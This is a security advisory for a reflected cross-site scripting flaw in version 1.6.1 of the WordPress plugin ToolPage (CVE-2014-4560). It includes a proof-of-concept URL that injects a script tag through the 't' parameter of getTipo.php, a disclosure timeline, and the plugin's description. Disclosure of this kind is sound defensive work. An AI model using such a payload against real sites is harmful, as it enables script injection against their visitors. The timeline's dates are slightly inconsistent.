wp-plugin : toolpage

Plugin Details
Plugin Name: wp-plugin : toolpage
Effected Version : 1.6.1 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://127.0.0.1/wordpress/wp-content/toolpage/includes/getTipo.php?t=%3C/script%3E%3Cscript%3Eprompt%281%29%3C/script%3E


Disclosure Timeline
Vendor Contacted : 2014-01-12
Plugin Status : Updated on 2014-01-11
Public Disclosure : May 25, 2014
CVE Number : CVE-2014-4560
Plugin Description :
[| **ENGLISH** Create unlimited Landing Pages for your OnLine Advertising. ToolPage is a plugin to manage one or more landing pages. You have more Template-scheme based on elements called Box. **You can set a ToolPage as Homepage/Front Page.** A **ToolPage** is composed of one or more **Box**. A Template is composed of one or more columns. General Infos of a **ToolPage**: * NEW: Appearance Themes Base and Professional * NEW: Admin toolbar links * NEW: Widget * Box Type: text / html, image, menus, forms, twitter, facebook, youtube * Customizing CSS: background color, font, font color, font size * Custom CSS-style * SEO Friendly URL * SEO Optimization * Google Analytics **Required** * Permalinks activated **ITALIANO** Crea illimitate pagine ToolPage dedicate alle tue Campagne OnLine: le Landing Pages. ToolPage è l'unico plugin in grado di farti gestire una o più Landing Pages con diversi schemi grafici e personalizzabili. Gli schemi grafici sono basati su elementi chiamati Box. **Puoi impostare una ToolPage come Homepage/Front Page.** Una **ToolPage** è composta da uno o più **Box**. Uno schema grafico è composto da una o più colonne. Caratteristiche Generali di una **ToolPage**: * NEW: Temi Base and Professional * NEW: Admin toolbar links * NEW: Widget * Tipologie Box: text/HTML, image, menu, form, twitter, facebook, youtube * Personalizzazione CSS: colore sfondo, font, colore font, dimensione font * CSS personalizzati * URL SEO Friendly * Ottimizzazione SEO * Google Analytics **Requisiti** * Permalinks attivato ]